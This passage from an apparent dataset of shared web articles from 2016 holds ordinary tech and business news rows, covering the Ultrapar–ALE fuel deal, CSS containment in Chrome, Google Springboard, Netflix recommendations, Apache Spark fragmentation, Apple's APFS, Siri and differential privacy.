as ações de emissão da Ultrapar têm liquidez e dispersão no mercado. Até o posicionamento do Cade, as companhias manterão as suas operações totalmente separadas e seguirão atuando como concorrentes efetivas. Em nota à imprensa, a Ultrapar informa ainda que a rede, com sede em Natal/RN, tem forte presença no Nordeste e complementa geograficamente a rede de postos da Ipiranga, que possui menor participação nesses mercados em relação ao restante do país e tem focado seus investimentos nessa região. ""A combinação das duas empresas também proporciona maior escala operacional e maior eficiência logística, com benefícios para o consumidor e revendedores"", diz. Segundo a empresa, uma vez que a operação venha a ser efetivada, a Ipiranga pretende estender sua estratégia de diferenciação por meio da oferta de serviços à rede Ale, fortalecendo o relacionamento com os revendedores e contribuindo para que eles sejam mais competitivos em seus mercados. A ALE é a uma distribuidora de combustíveis com 20 anos de história, fruto da união da ALE Combustíveis com a Satélite Distribuidora de Petróleo. A ALE distribui combustíveis no Brasil através de uma rede de aproximadamente 2 mil postos e 260 lojas de conveniência, suportada por uma infraestrutura composta por 10 bases logísticas. Em 2015, a ALE vendeu 4,3 milhões de metros cúbicos de diesel, gasolina, etanol e GNV, e registrou receita de R$ 11,4 bilhões e EBITDA de R$ 275 milhões. O endividamento líquido da ALE em 31 de dezembro de 2015 era de R$ 737 milhões. Já Ipiranga possui uma rede de 7.241 postos de serviços em todo o Brasil.",pt
1465926133,CONTENT SHARED,-2808969983997441543,5127372011815639401,-8628566829311364938,,,,HTML,https://developers.google.com/web/updates/2016/06/css-containment,CSS Containment in Chrome 52 | Web Updates - Google Developers,"TL;DR The new CSS Containment property lets developers limit the scope of the browser's styles, layout and paint work. It has a few values, making its syntax this: It's in Chrome 52+ and Opera 40+ (and it has public support from Firefox ), so give it a whirl and let us know how you go! The contain property When making a web app, or even a complex site, a key performance challenge is limiting the effects of styles, layout and paint. Oftentimes the entirety of the DOM is considered ""in scope"" for computation work, which can mean that attempting a self-contained ""view"" in a web app can prove tricky: changes in one part of the DOM can affect other parts, and there's no way to tell the browser what should be in or out of scope. For example, let's say part of your DOM looks like this: And you append a new element to one view, which will trigger styles, layout and paint: In this case, however, the whole DOM is effectively in scope, meaning that style, layout, and paint calculations will have to consider all the elements irrespective of whether or not they were changed. The bigger the DOM, the more computation work that involves, meaning that you could well make your app unresponsive to user input. The good news is that modern browsers are getting really smart about limiting the scope of styles, layout, and paint work automatically, meaning that things are getting faster without you having to do anything. But the even better news is that there's a new CSS property that hands scope controls over to developers: Containment . The contain property CSS Containment is a new property, with the keyword contain, which supports four values: Each of these values allows you to limit how much rendering work the browser needs to do. Let's take a look at each in a little more detail. Layout (contain: layout) This value turns on layout containment for the element. This ensures that the containing element is totally opaque for layout purposes; nothing outside can affect its internal layout, and vice versa. Containment spec Layout containment is probably the biggest benefit of containment, along with contain: paint . Layout is normally document-scoped, making it scale proportionally to the size of your DOM, so if you change an element's left property ( as just one example ), every single element in the DOM might need to be checked. Enabling containment here can potentially reduce the number of elements to just a handful, rather than the whole document, saving the browser a ton of unnecessary work and significantly improving performance. Paint (contain: paint) This value turns on paint containment for the element. This ensures that the descendants of the containing element don't display outside its bounds, so if an element is off-screen or otherwise not visible, its descendants are also guaranteed to be not visible. Containment spec Scoping paint is another incredibly useful benefit of containment. Paint containment essentially clips the element in question, but it has also has a few other side effects: It acts as a containing block for absolutely positioned and fixed position elements. This means any children are positioned based on the element with contain: paint not any other parent element like - say - the document. It becomes a stacking context. This means that things like z-index will have an effect on the element, and children will be stacked according to the new context. It becomes a new formatting context. This means that if you have, for exaple, a block level element with paint containment, it will be treated as a new, independent layout environment. This means that layout outside of the element won't typically affect the containing element's children. Size (contain: size) The value turns on size containment for the element. This ensures that the containing element can be laid out without needing to examine its descendants. Containment spec What contain: size means is that the element's children do not affect the parent's size , and that its inferred or declared dimensions will be the ones used. Consequently if you were to set contain: size but didn't specify dimensions for the element (either directly or via flex properties), it would be rendered at 0px by 0px! Size containment is really a belt-and-braces measure to ensure you don't rely on child elements for sizing, but by itself it doesn't offer much performance benefit. Style (contain: style) This value turns on style containment for the element. This ensures that, for properties which can have effects on more than just an element and its descendants, those effects don't escape the containing element. Containment spec It can be hard to predict what the effects on the DOM tree of changing an element's styles will be back up the tree. One example of this is in something like CSS counters , where changing a counter in a child can affect counter values of the same name used elsewhere in the document. With contain: style set, style changes won't get propagated back up past the containing element. To be super clear, what contain: style doesn't provide is scoped styling as you'd get from Shadow DOM ; containment here is purely about limiting the parts of the tree that are under consideration when styles are mutated, not when they are declared. Strict and content containment You can also combine keywords, such as contain: layout paint , which will apply only those behaviors to an element. But contain also supports two additional values: contain: strict means the same as contain: layout style paint size contain: content means the same as contain: layout style paint Using strict containment is great when you know the size of the element ahead of time (or wish to reserve its dimensions), but bear in mind that if you declare strict containment without dimensions, because of the implied size containment, the element may be rendered as a 0px by 0px box. Content containment, on the other hand, offers significant scope improvements, but does not require you to know or specify the dimensions of the element ahead of time. Of the two, contain: content is the one you should look to use by default. You should treat strict containment as something of a more an escape hatch when contain: content isn't strong enough for your needs. Let us know how you get on Containment is a great way to start indicating to the browser what you intend to be kept isolated within your page. Give it a try in Chrome 52+ and let us know how you get on! Authors Except as otherwise noted, the content of this page is licensed under the Creative Commons Attribution 3.0 License , and code samples are licensed under the Apache 2.0 License . For details, see our Terms of Service .",en
1465934646,CONTENT SHARED,-9102431381393428051,6013226412048763966,-8444291255698816918,,,,HTML,https://hbr.org/2016/06/how-leaders-can-let-go-without-losing-control?,How Leaders Can Let Go Without Losing Control,"Create a FREE account to: Get eight free articles per month* Access to personalized content Save articles and create shareable folders in your personal HBR library Get 20% off your first order using code HBRORGREG3** *not including articles that are exclusively for Harvard Business Review magazine subscribers **does not include magazine subscriptions UNLIMITED ACCESS TO HBR.ORG A one-year subscription Unlimited access to magazine archive of over 25 years of past issues, including our 50 bestselling articles (available to subscribers only) iPad and Android tablet apps including all of your magazine issues plus content feeds from HBR.org Create your personal library on HBR.org Organize articles of interest, share your favorites with colleagues Access to HBR's Visual Library which includes charts, infographics, and our most popular, fully customizable slide decks Free bonus guide of 15 must-read articles",en
1465945560,CONTENT REMOVED,-9102431381393428051,6013226412048763966,-8444291255698816918,,,,HTML,https://hbr.org/2016/06/how-leaders-can-let-go-without-losing-control?,How Leaders Can Let Go Without Losing Control,"Create a FREE account to: Get eight free articles per month* Access to personalized content Save articles and create shareable folders in your personal HBR library Get 20% off your first order using code HBRORGREG3** *not including articles that are exclusively for Harvard Business Review magazine subscribers **does not include magazine subscriptions UNLIMITED ACCESS TO HBR.ORG A one-year subscription Unlimited access to magazine archive of over 25 years of past issues, including our 50 bestselling articles (available to subscribers only) iPad and Android tablet apps including all of your magazine issues plus content feeds from HBR.org Create your personal library on HBR.org Organize articles of interest, share your favorites with colleagues Access to HBR's Visual Library which includes charts, infographics, and our most popular, fully customizable slide decks Free bonus guide of 15 must-read articles",en
1465950308,CONTENT SHARED,-4205346868684833897,-1443636648652872475,6340331642204025925,,,,HTML,http://techcrunch.com/2016/06/14/google-launches-springboard-an-ai-powered-assistant-for-its-enterprise-customers/,"Google launches Springboard, an AI-powered assistant for its enterprise customers","Google has unwrapped two significant announcements for its enterprise customers, the most notable of which is the rollout of Springboard, a new digital assistant to help enterprise companies that make use of Google's services for business. Springboard, which has been in testing with ""a small set of customers,"" is a little like Google Now for enterprise workers. That's to say that it offer a single search interface which utilises artificial intelligence to surface information within a user's suite of Google products - such as Google Drive, Gmail, Calendar, Google Docs and more. That's important because, according to Prabhakar Raghavan, VP of Engineering for Google Apps, ""the average knowledge worker [currently] spends the equivalent of one full day a week searching for and gathering information."" Beyond search, Springboard also provides ""useful and actionable information and recommendations"" to users throughout their work day. The second side of today's news is a new design for Google Sites, a product that acts like an information portal for housing internal company information like quarterly reports, or newsletters. Now, when designing a Google Site, users have drag and drop editing and real-time collaboration, creation features that have become standard in other services like Google Docs and Google Sheets. Finally, in terms of presentation, Google Sites has been revamped so that the content fits to any kind of screen, be it a smartphone, laptop or 30-inch monitor. These changes are rolling out to early adopter programs that existing Google Apps for Work customer can join - the Springboard program is here and Google Sites program is here - while the search giant has teased that it has ""a lot more in store"" for both services.",en
1465950463,CONTENT SHARED,817145340976958200,-1443636648652872475,6340331642204025925,,,,HTML,http://googleforwork.blogspot.com.br/2016/06/powering-a-more-connected-and-collaborative-enterprise.html?m=1,Powering a more connected and collaborative enterprise,"Google Atmosphere , Google's global enterprise event series, lands today in Tokyo , where I'm addressing an audience of several thousand enterprise IT execs, along with our very own Diane Greene and local customers such as ASICS and Fujitec. We have two exciting announcements to share - new experiences we're adding to the Google Apps suite, with Search and Sites. It's no secret that the growth of information inside the enterprise continues to accelerate. In fact, today the average knowledge worker spends the equivalent of one full day a week searching for and gathering information. 1 Google Springboard puts the right information at your fingertips Google is no stranger to helping enterprise customers sort through their corporate information and making it more useful for employees. We've been a leader in Enterprise Search for nearly 15 years and have partnered with some of the largest companies in the world. As we continue to invest in applying technologies like machine intelligence to power our web search engine, we're working on a new way to bring all of this power to the enterprise: Google Springboard. Google Springboard helps you find the right information that you need at the moment that you need it. It searches quickly and easily across all of your information in Google Apps including Gmail, Calendar, Docs, Drive, Contacts and more. Springboard also assists you throughout your workday by proactively providing useful and actionable information and recommendations. A totally rebuilt Google Sites Google Sites is one of the most popular products among our enterprise customers, and we've been working on an update that makes it even easier for employees to share information within their company. With the new Google Sites, you can build beautiful, functional pages to aggregate and distribute content across your enterprise, optimized for every screen. A new intuitive drag-and-drop design experience supports real-time collaboration by multiple editors, just like in Docs, and offers easy access to all your content from Calendar, Docs, Drive, Maps and more. The new Sites also includes themes and layouts designed to scale and flex to any screen size, so they're as useful when you access them on the 30-inch monitor at your desk or your smartphone on your commute. Ready for early adopters We've been previewing Google Springboard and the new Google Sites with a small set of customers, and we're excited to begin to extend each of these new apps to more customers through an Early Adopter Program. If you're the admin of a company that runs on Google Apps for Work you can express your interest in the Google Springboard Early Adopter Program or the Google Sites Early Adopter Program . We have a lot more in store for both Google Springboard and Google Sites, and we're excited to help you start to take back the time you spend searching for and gathering information. 2 1 Study from McKinsey states that the average information worker spends 8.8 hours or 19% of their average work week searching for or gathering information. 2 The Early Adopter Program for the new Google Sites will have no impact on customers' usage of classic Google Sites.",en
1465951636,CONTENT SHARED,-1556169727291354289,-1443636648652872475,6340331642204025925,,,,HTML,http://www.businessinsider.com/netflix-recommendation-engine-worth-1-billion-per-year-2016-6,Why Netflix thinks its personalized recommendation engine is worth $1 billion per year,"Netflix After a long refinement process, Netflix finally released its first ""global"" recommendation system in December. The system takes dozens of algorithms into account, and compares you with similar users in the more than 190 countries where Netflix's service is available. ""If one member in this tiny island expresses an interest for anime, then we're able to map that person to the global anime community,"" Carlos Gomez-Uribe , VP of product innovation at Netflix, told Tech Insider in February . And Netflix thinks it's worth a lot of money: one billion dollars per year, in fact. In an academic paper penned by Gomez-Uribe and Netflix's chief of product Neil Hunt, they assert that "" the combined effect of personalization and recommendations save us more than $1B per year."" That's a significant chunk of change considering that Netflix's total spending on global content this year will be $5 billion. 90 seconds or bust Why does Netflix think it's worth so much? The short answer is because it helps them keep subscribers from canceling. ""Consumer research suggests that a typical Netflix member loses interest after perhaps 60 to 90 seconds of choosing, having reviewed 10 to 20 titles (perhaps 3 in detail) on one or two screens,"" they write. ""The user either finds something of interest or the risk of the user abandoning our service increases substantially."" If Netflix only has 90 seconds to grab a subscriber's attention, it needs to find a good show or movie fast. If people were just typing in what they wanted to see into the search bar, this would be relatively easy. But Netflix estimates that only 20% of its subscriber video choices come from search, with the other 80% being from recommendations. So it's essential that Netflix gets this right. The end goal of the system are ""moments of truth,"" when ""a member starts a session and we help that member find something engaging within a few seconds, preventing abandonment of our service for an alternative entertainment option."" In other words, Netflix believes it could lose $1 billion or more every year from subscribers quitting service if it weren't for its personalized recommendation engine. And that's why Netflix thinks that its recommendation engine, however much it could be improved in the future, is already worth so much money to the company.",en
1465951749,CONTENT SHARED,-1701416312023927957,-1443636648652872475,6340331642204025925,,,,HTML,http://techcrunch.com/2016/06/12/spark-fragmentation-undermines-community/,Spark fragmentation undermines community,"The Hadoop distribution war comes down to a final battle between Cloudera's CDH and Hortonworks' HDP. That wasn't always the case. At the peak of the market's fragmentation, many companies offered Hadoop distributions in one form or another. These included Amazon (AWS), Cloudera, Hortonworks, IBM, MapR, Pivotal, Teradata, Intel and Microsoft (Azure). Competition is a natural part of business, and the tech industry is no exception. Indeed, it's competition that leads to end users getting the best possible products in their hands. However, the picture gets a little muddy when it comes to open source. Unlike proprietary products, which are expected to operate as their own little islands, the open-source community is supposed to be play nice. One of the advantages cited by those trying to sell open-source products to the enterprise is the degree to which they are ""plug and play"" - there is no vendor lock-in. If you're not happy with an open-source product's performance, it's supposed to be a relatively painless process to rip out the product and replace it with something else. The problem with that argument for the Hadoop ecosystem is that not everyone is referring to the same thing when they say ""Hadoop."" Hadoop isn't a single uniform product - it's a framework that includes a series of modules, such as HDFS and MapReduce. The term can also be used to refer to the wider ecosystem of additional software packages that work alongside Hadoop, such as Apache Hive, Pig, Spark, etc. What that means for customers is that what they think of Hadoop isn't likely to be as easily replaceable as they may think. Only a large, growing and dedicated community can keep Apache Spark relevant in the long term. HDP and CDH don't cover the exact same package, and even when they do, they're often not the same versions. In June of last year Derek Wood, a DevOps Engineer at Cask, wrote a blog showing which versions of various software packages were supported by which versions of HDP and CDH. Suffice to say, it's a lot to keep track of. At some level, this ""versionitis"" is a betrayal of what open source in general, and Hadoop in particular, are supposed to stand for. Over the course of the past year I've become increasingly concerned that the Apache Spark ecosystem will go the way of Hadoop before it. Although Apache Spark is just four years old, we're already at the point where a few vendors are looking to sell Apache Spark to customers in different formats. Despite their protestations otherwise, these companies are essentially dividing the Apache Spark community by forcing customers to leverage their particular Apache Spark version and components. For example, while CDH 5.5.1 supported Apache Spark 1.5.0, the concurrent HDP 2.3.2.0 supported Apache Spark 1.4.1. Even worse, there is an increasing trend toward building features for particular distributions that are never committed back upstream. People can, and should, build companies on top of open-source products (I work for one that does). However, we have a responsibility to our community and our customers to make sure that we stay true to the promise of open source. When commercial distributions are offered to customers, they should stay as close to the core as possible, contribute everything back upstream and support the latest module versions. Problems inevitably arise when open-source projects built in academic settings (UC Berkeley's AMPLab in the case of Apache Spark) or for internal use (think Hadoop at Yahoo) become the domains of large publicly traded companies, or VC-funded companies looking to make their way onto public markets. Open-source ideals are frequently sacrificed on the altar of creating an easily packaged product that can be sold to generate short-term profits. But in the long term, that's not defensible. Software is becoming a commodity that will only become cheaper to produce as time goes on. Apache Spark itself is under attack from new open-source technologies that threaten to eat into its value proposition. Apache Kafka offers a new way to analyze stream data, Apache Flink offers a new framework for ""big data"" and Apache Apex unifies stream and batch processing. Only a large, growing and dedicated community can keep Apache Spark relevant in the long term. Engineers will move on to something else if they find Apache Spark too much of a pain to use because of the difficulty inherent in navigating the balkanized environment that vendors have created. And it will be the vendors themselves that suffer. Let's not let that happen.",en
1465953370,CONTENT SHARED,-9160910454530522563,-709287718034731589,8812735263251701985,,,,HTML,http://thenextweb.com/apple/2016/06/14/apfs-macos-ios-watchos-tvos/,"Apple's new file manager, APFS, is awesome","Consumers (read: probably you) don't typically dig into their file system; they only get upset when they run out of space on their computer. That's part of the reason Apple created its new, proprietary file system - and it's pretty awesome. What the Apple File System (APFS) does isn't easy to nail down in one sentence, because it does so much (and apparently really well). The first thing to note is that it's meant for all of Apple's platforms - macOS, iOS, watchOS and tvOS - and supports both Flash and SSD storage. For most, macOS is the only platform where APFS will ever be noticeable; for watchOS, iOS and tvOS it's a (better) means to an end. One of the most exciting features is space sharing, which helps partitioned drives utilize space as needed. If you had a 500GB storage drive with two 50GB partitions, and one was barely used while the other was reaching it's limit, space sharing wouldn't limit the nearly-full partition to it's designated limit. Instead, it would note the free space available to both drives as 400GB - the total free disk space. Rather than create rigid partition limits, APFS simply treats them as containers that can expand as needed. Files that are duplicated won't take up double the space on your drive, either. If you had a 1GB drive you duplicated, the copy would simply access the original version; you won't be taking up 2GB space with one document. If you make changes to the original version, new data is copied to a separate block. In that respect, cloning becomes a type of version history. APFS is also really secure. It employs encryption to its core, and can support encryption down to individual files. Why did Apple create APFS? As Apple tells it, the current file system - HFS+ - has been around far too long. It was created in a time when we still used floppy disks and hierarchal storage. A core reason Apple created APFS was too be nimble. It says HFS+ was getting bloated, and hard to support. When Apple added a new feature, the technical debt incurred was profound; a crew of engineers had to go back and make sure the new bits didn't break everything else. It could have added (at least some of) the new features APFS brings to the table to HFS+, but it was a slippery slope. For instance: APFS supports timestamps down to a nanosecond. Asking HFS+ to do that would require a lot of legacy code to be massaged into shape, or at least coerced into not freaking out with so much activity going on. Another APFS feature HFS+ likely would have balked at is fast directory sizing. When you access a drive, it tells you how much space is available - referencing things like the aforementioned partitions. Monitoring what is essentially a fluid drive doesn't fix HFS' rigid hierarchal structure. Why you should care Power users are going to find favor and fault with APFS; it either didn't go far enough with the improvements or is the perfect replacement for HFS. Consumers will likely be happy with it, if only because of the way APFS manages file systems for you. It's also good for computers with partitioned drives used in family homes; a dearth in one partition is no longer a burden to others. And if you really want to get tricky, you can use APFS on external drives. Apple is effectively making file systems a boilerplate issue for the average user, which is also realized with macOS Sierra's move to offload files to iCloud when your drive is getting full. Between Sierra and APFS, you may not ever have to worry about your file system again. But if you do, there are enough power-user features to keep you happy. TNW's West Coast writer in the PNW (Portland, Oregon). Nate loves amplifying developers, and codes in Swift when he's not writing. If you need to get in touch, Twitter or email are your best bets.",en
1465953417,CONTENT SHARED,4657430003888493310,-709287718034731589,8812735263251701985,,,,HTML,http://www.wsj.com/articles/siri-once-a-flake-now-key-to-apples-future-1465905601,"Siri: Once a Flake, Now Key to Apple's Future","The iPhone's talking pal Siri has, to date, been about as helpful as an umbrella in a hurricane. That's about to change. At the Worldwide Developers Conference on Monday , Apple CEO Tim Cook touted new features and catch-up software tweaks, from the iPhone and Mac to the Apple Watch and TV. One of the few technologies that spanned all those products was Siri, the virtual assistant that lets us talk and interact with gadgets like they know us. Siri is growing up, and moving to the center of Apple's universe. In the months ahead, Siri will arrive on Mac computers and tackle more complex tasks on the Apple TV, where it first appeared last year. And most important, Siri's opening up: It-or should I say she?-will gain the ability to send messages, make phone calls, book rides and pay for stuff using apps and services not made by Apple. ""I think we're going to see [Siri] become more important over time as people go from using Lyft a couple times per week to a couple times per day,"" Lyft CTO Chris Lambert told me after Apple's keynote. The ride-hailing company's app is one of the first to tap into Siri. When iOS 10 arrives this fall , you'll be able to say to your iPhone, ""Order me a Lyft,"" and a ride will just show up, no buttons required. Apple didn't do a very good job Monday of explaining why all of this matters. Talking to a computer like it's human isn't just some geek Star Trek fantasy. Our voices are turning out to be crucial for interacting with tech in situations that don't lend themselves to a keyboard, mouse or touch screen-and that includes many, if not most, gadgets we'll meet in the future. Voice is useful for searching the TV for a show, finding directions while driving, using recipes when your hands are full of cookie dough and cuing up that Justin Timberlake jam stuck in your head. Apple was one of the first tech giants, back in 2011, to build talking tech into everyday devices. At the time, they called it a beta, and it's felt like test software for too long. Siri now receives over 2 billion requests a week. Even so, when I ask Siri to help with something, it often just pops up a random search or misunderstands in a way that makes me say, ""Oh, Siri,"" like it's a lost puppy . Meanwhile, Apple lost ground to rivals like Google. The search giant's Voice Search and Now services (currently being wrapped into its forthcoming Google Assistant ) integrate data about our lives to predict what we need and respond with context. The most surprising threat to Apple's voice dominance is Amazon, whose Alexa, built inside the Echo speaker, has become an unofficial member of my household . Why? It's always a quick shout away, ready to perform basic tasks like set a timer or play a song. If Apple is to have a future beyond the iPhone, it will have to master voice. And Apple has the chance to regain the pole position in talking tech if it follows through on the vision it laid out on Monday. Here's why: Siri is finally, mostly, everywhere. Now that it's coming to the Mac, too, you'll be able to turn to Siri regardless of which device is closest-assuming you have all Apple gear. There was no mention of it on Monday, but I hope Apple will follow through with rumored plans to introduce a stand-alone Siri device that lives at home and is always listening for your command, like Amazon's Echo or Google's forthcoming Home. We'll also have to see in practice how well the Siris on different devices work together. Siri's TV search now includes YouTube. You're not really searching the world of entertainment in 2016 without access to all those cat videos and up-and-coming pop stars. Siri's intelligence is growing. Apple is using Siri's ability to parse through our calendars, emails, playlists and photos to make its responses less random and more useful, and even propose responses via its new, Siri-powered QuickType keyboard. Again, this will bear out in real use, but Apple said on Monday that Siri would be able to respond to questions like ""Find videos I took at Iva's birthday party."" Though Apple claims to have a privacy-conscious data mining solution called ""differential privacy,"" its avowed stance on privacy could make it harder for it to keep up with unabashedly data-hungry rivals like Google. It's hard to grasp context and anticipate a person's needs when you don't know exactly whom you're serving. Siri's finally learning to hear us. Understanding context is natural for humans, but very hard for computers. The new Siri can understand many ways to ask for the same thing, said Craig Federighi, Apple's senior vice president of software engineering, during the keynote. ""Tell Nancy I'll be five minutes late with WeChat "" counts as much as ""Siri, can you shoot a message on WeChat and say that I'll be five minutes late?"" (And it can do that in all sorts of languages.) Apple even said the new Siri would be able to respond to tricky context-based queries such as ""Remember this later."" Most of all: Now we can tell Siri what to do, not just ask questions. Just as the App Store made the iPhone way more useful than it was when it only ran Apple-made apps, opening Siri to outsiders will let its new skills develop exponentially. At first, Apple has limited its SiriKit developer tool to a few domains, including messaging, phone calls, photo search, ride booking, mobile payments, exercise and in-car climate control and entertainment. Google can send messages on your behalf to WhatsApp, Viber and more , but doesn't yet have anything quite like SiriKit. Amazon's Alexa has more than 1,000 third-party apps, but its devices are speakers that mostly sit on a shelf, rather than travel with you. Apple earned a bad rap for promising big and delivering little with Siri. It's easy to get excited about promises from tech companies. There's a thin line between a helpful talking gadget and one that you want to throw out a window because you just wasted three minutes saying ""ORDER ... A ... LYFT ..."" over and over again to no avail. When will Siri feel like an actual assistant? That might be a ways off. Still, a deeper relationship is now within reach, said Jason Whitson, the director of product at UnderArmour's popular MapMyRun app, another early partner on the new Siri. When iOS 10 comes out, MapMyRun users will be able to just ask Siri to start, pause, resume or end a session. ""When you are working out, having to interact with your phone is a barrier,"" he said. Trying to tap on a phone while running can make you dizzy-and puts you at risk of running into things. ""What Apple released is just the tip of the iceberg,"" said Mr. Whitson. He sees a day when MapMyRun is almost entirely a hands-off experience. We'll be able to ask Siri more sophisticated questions about our workout habits, or use it to track our diet. ""She-I mean it-could eventually be your coach,"" he said. Well, before Siri can be my running buddy, Apple has to conquer this: Talking to your phone (or TV or watch or computer) still makes you look a little crazy. Write to Geoffrey A. Fowler at geoffrey.fowler@wsj.com or on Twitter @geoffreyfowler",en
1465953444,CONTENT SHARED,1878784080584939832,-709287718034731589,8812735263251701985,,,,HTML,http://techcrunch.com/2016/06/14/differential-privacy/,What Apple's differential privacy means for your data and the future of machine learning,"Apple is stepping up its artificial intelligence efforts in a bid to keep pace with rivals who have been driving full-throttle down a machine learning-powered AI superhighway, thanks to their liberal attitude to mining user data. Not so Apple, which pitches itself as the lone defender of user privacy in a sea of data-hungry companies. While other data vampires slurp up location information, keyboard behavior and search queries, Apple has turned up its nose at users' information. The company consistently rolls out hardware solutions that make it more difficult for Apple (and hackers, governments and identity thieves) to access your data and has traditionally limited data analysis so it all occurs on the device instead of on Apple's servers. But there are a few sticking points in iOS where Apple needs to know what its users are doing in order to finesse its features, and that presents a problem for a company that puts privacy first. Enter the concept of differential privacy, which Apple's senior vice president of software engineering Craig Federighi discussed briefly during yesterday's keynote at the Worldwide Developers' Conference . ""Differential privacy is a research topic in the area of statistics and data analytics that uses hashing, sub-sampling and noise injection to enable this kind of crowdsourced learning while keeping the information of each individual user completely private,"" Federighi explained. Differential privacy isn't an Apple invention; academics have studied the concept for years. But with the rollout of iOS 10, Apple will begin using differential privacy to collect and analyze user data from its keyboard, Spotlight, and Notes. Differential privacy works by algorithmically scrambling individual user data so that it cannot be traced back to the individual and then analyzing the data in bulk for large-scale trend patterns. The goal is to protect the user's identity and the specifics of their data while still extracting some general information to propel machine learning. Crucially, iOS 10 will randomize your data on your device before sending it to Apple en masse, so the data is never transported in an insecure form. Apple also won't be collecting every word you type or keyword you search - the company says it will limit the amount of data it can take from any one user. In an unusual move, Apple offered its differential privacy implementation documents to Professor Aaron Roth at the University of Pennsylvania for peer review. Roth is a computer science professor who has quite literally written the book on differential privacy (it's titled Algorithmic Foundations of Differential Privacy) and Federighi said Roth described Apple's work on differential privacy as ""groundbreaking."" Apple says it will likely release more details about its differential privacy implementation and data retention policies before the rollout of iOS 10. So what does this mean for you? Keyboard Apple announced significant improvements to iMessage yesterday during the WWDC keynote. Differential privacy is a key component of these improvements, since Apple wants to collect data and use it to improve keyboard suggestions for QuickType and emoji. In iOS 9, QuickType learns phrases and updates the dictionary on your individual device - so if you type ""thot"" or ""on fleek"" enough times, autocorrect will eventually stop changing the phrases to ""Thor"" and ""on fleet."" But in iOS 10, Apple will use differential privacy to identify language trends across its billions of users - so you'll get the magical experience of your keyboard suggesting new slang before you've ever used it. ""Of course one of the important tools in making software more intelligent is to spot patterns in how multiple users are using their devices,"" Federighi explained. ""For instance you might want to know what new words are trending so you can offer them up more readily in the QuickType keyboard."" Differential privacy will also resolve the debate over which emojis are most popular once and for all, allowing for your emoji keyboard to be reordered so hearts aren't inconveniently stashed at the very back near the random zodiac signs and fleur-de-lis. Spotlight Differential privacy builds on the introduction of deep linking in iOS 9 to improve Spotlight search. Federighi unveiled deep linking at last year's WWDC using the example of recipes. He demonstrated that searching for ""potatoes"" in Spotlight could turn up recipes from within other apps installed on his device rather than merely surfacing web results. As more and more information becomes siloed in apps, beyond the reach of traditional search engines, deep linking is necessary to make that content searchable. However, questions remained about how iOS 9 would rank deep-linked search results to prevent app developers from flooding Spotlight with irrelevant suggestions. Apple plans to use differential privacy to address that concern. With obfuscated user data, Apple can identify highly popular deep links and assign them a higher ranking - so when you're using Spotlight to look for potato recipes, you'll get suggestions for the most delicious potato preparations apps like Yummly have to offer. Notes Notes is the final area where iOS 10 will apply information gleaned through differential privacy to improve features. Federighi also discussed the upgrades to Notes during yesterday's keynote. In iOS 10, Notes will become more interactive, underlining bits of information that's actionable - so if you jot down a friend's birthday in Notes, it might underline the date and suggest that you create a calendar event to remember it. In order to make these kinds of smart suggestions, Apple again needs to know what kinds of notes are most popular across a broad swath of its users, which calls for differential privacy. How it works So what exactly is differential privacy? It's not a single technology, says Adam Smith, an associate professor in the Computer Science and Engineering Department at Pennsylvania State University, who has been involved in research in this area for more than a decade, along with Roth. Rather, it's an approach to data processing that builds in restrictions to prevent data from being linked to specific individuals. It allows data to be analyzed in aggregate but injects noise into the data being pulled off individual devices, so individual privacy does not suffer as data is processed in bulk. ""Technically it's a mathematical definition. It just restricts the kinds of ways you can process the data. And it restricts them in such a way that they don't link too much information about any single interval pick up points in the data set,"" says Smith. He likens differential privacy to being able to pick out an underlying melody behind a layer of static noise on a badly tuned radio. ""Once you understand what you're listening to, it becomes really easy to ignore the static. So there's something a little like that going on where any one individual - you don't learn much about any one individual, but in the aggregate you can see patterns that are fairly clear. ""But they're not as sharp and as accurate as you would get if you were not constraining yourself by adding this noise. And that's the tradeoff you live with in exchange for providing stronger guarantees on people's privacy,"" Smith tells TechCrunch. Smith believes Apple is the first major company that's attempting to utilize differential privacy at scale, although he notes other large commercial entities such as AT&T have previously done research on it (as has, perhaps surprisingly, Google via its Project Rappor ). He notes that startups have also been taking an interest. The future of AI? Apple's adoption of differential privacy is very exciting for the field, Smith says, suggesting it could lead to a sea change in how machine learning technologies function. The debate over privacy in Silicon Valley is often viewed through a law enforcement lens that pits user privacy against national security. But for tech companies, the debate is user privacy versus features. Apple's introduction of differential privacy could radically change that debate. Google and Facebook, among others, have grappled with the question of how to deliver feature-rich products that are also private. Neither Google's new messaging app, Allo , nor Facebook's Messenger offer end-to-end encryption by default because both companies need to vacuum up users' conversations to improve machine learning and allow chat bots to function. Apple wants to glean insights from user data, too, but it's not willing to backpedal on iMessage's end-to-end encryption in order to do so. Smith says Apple's choice to implement differential privacy will make companies think differently about the tradeoffs between protecting privacy and improving machine learning. ""We don't need to collect nearly as much as we do,"" Smith says. ""These types of technologies are a really different way to think about privacy."" Although iOS 10 will only use differential privacy to improve the keyboard, deep linking, and Notes, Smith points out that Apple may use the strategy in maps, voice recognition, and other features if it proves successful. Apple could also look for correlations between the times of day people use certain applications, Smith suggests. Apple's choice not to collect raw user data could encourage more trust from users. Conveniently, it also helps Apple harden itself against government intrusion - a cause that Apple notoriously fought for during its court battle with the FBI. Since differential privacy has been studied for a decade, it's a relatively low-risk security strategy for Apple. Smith said Apple's adoption of the concept hits a ""sweet spot"" between innovation and user safety. ""Whether or not they're entirely successful, I think it will change the conversation completely,"" Smith says. ""I think the way people think about collecting private information will change drastically as a result of this. And that may ultimately be the biggest legacy of this project at Apple, possibly far beyond the financial implications for Apple itself.""",en
1465953522,CONTENT SHARED,-3581194288660477595,-709287718034731589,8812735263251701985,,,,HTML,https://www.buzzfeed.com/katienotopoulos/the-end-of-apple-man,The End Of Apple Man,"In the same way that Pinterest, with its made-from-scratch recipes and bespoke home decorating ideas, fills some people with a creeping sense of despair that they lead an inadequate life, Apple advertisements and keynote demos have always made me feel terrible about myself. The prototypical Apple demo person is someone I'll call Apple Man. Apple Man is a 40-something dad who just wants to FaceTime his adorable children while he's on a business trip, and also find a local pourover coffee shop while he's in town. Apple Man has an Apple Watch (obvious). He needs a way to manage his photos of his adorable children and hiking trips with friends. He loves jogging and mountain biking and wants to use his Apple Watch to monitor his workouts, because he LOVES working out. Apple Man is very fit for his age - you can just barely tell he's totally ripped through his light blue, off-the-rack, wrinkle-free button-down shirt. Apple Man has a great head of hair. Apple Man owns his home and wants to be able to open his garage door from his phone to park his family-sensible-yet-sporty-crossover. (He's on the Tesla Model 3 pre-order list.) He wants to make brunch plans, and it would be great if he could add a brunch plan to his calendar app directly from text messages. Apple Man wants to track his health, but of course he has no need for a period tracker. His calendar is full; his inbox is zero. If you're like me, somewhat 